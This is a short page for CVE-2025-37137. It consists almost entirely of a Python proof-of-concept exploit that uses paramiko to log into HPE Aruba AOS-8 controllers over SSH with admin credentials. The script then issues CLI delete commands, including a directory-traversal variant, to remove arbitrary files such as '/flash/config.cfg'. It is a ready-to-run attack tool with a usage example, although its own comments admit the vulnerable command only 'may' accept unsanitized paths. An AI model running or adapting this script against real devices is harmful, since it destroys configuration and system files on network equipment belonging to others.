CVE-2025-37137

# CVE-2025-37137 - HPE Aruba AOS-8 CLI Arbitrary File Deletion PoC # This PoC demonstrates the concept of exploiting arbitrary file deletion # via the AOS-8 CLI interface with high-privilege authenticated access. import paramiko import sys def exploit_aruba_cli(target_ip, port, username, password, target_file): """ Exploit arbitrary file deletion vulnerability in HPE Aruba AOS-8 CLI. Prerequisites: - Valid high-privilege credentials (admin/root level) on the AOS-8 device - Network access to the SSH/CLI management interface Args: target_ip: IP address of the AOS-8 Controller/Mobility Conductor port: SSH port (default: 22) username: High-privilege username password: Password for authentication target_file: Absolute path of the file to delete (e.g., /flash/config.cfg) """ try: # Establish SSH connection to the AOS-8 device client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(target_ip, port=port, username=username, password=password, timeout=10) # Invoke an interactive shell session on the CLI shell = client.invoke_shell() # Enter enable mode (requires high privilege) shell.send('enable\n') import time time.sleep(1) # Attempt arbitrary file deletion via path traversal / absolute path # The vulnerable CLI command may accept unsanitized file paths delete_cmd = f'delete flash:/{target_file}\n' shell.send(delete_cmd) time.sleep(1) # Alternative: directory traversal to delete arbitrary system files traversal_cmd = f'delete flash:/../../..{target_file}\n' shell.send(traversal_cmd) time.sleep(1) # Read output output = shell.recv(65535).decode('utf-8', errors='ignore') print(f"[*] Command output:\n{output}") client.close() print(f"[+] Exploitation attempt completed against {target_ip}") except Exception as e: print(f"[-] Exploitation failed: {e}") sys.exit(1) if __name__ == "__main__": if len(sys.argv) != 6: print(f"Usage: {sys.argv[0]} <target_ip> <port> <username> <password> <target_file>") print(f"Example: {sys.argv[0]} 192.168.1.1 22 admin password123 /flash/config.cfg") sys.exit(1) exploit_aruba_cli(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], sys.argv[5])

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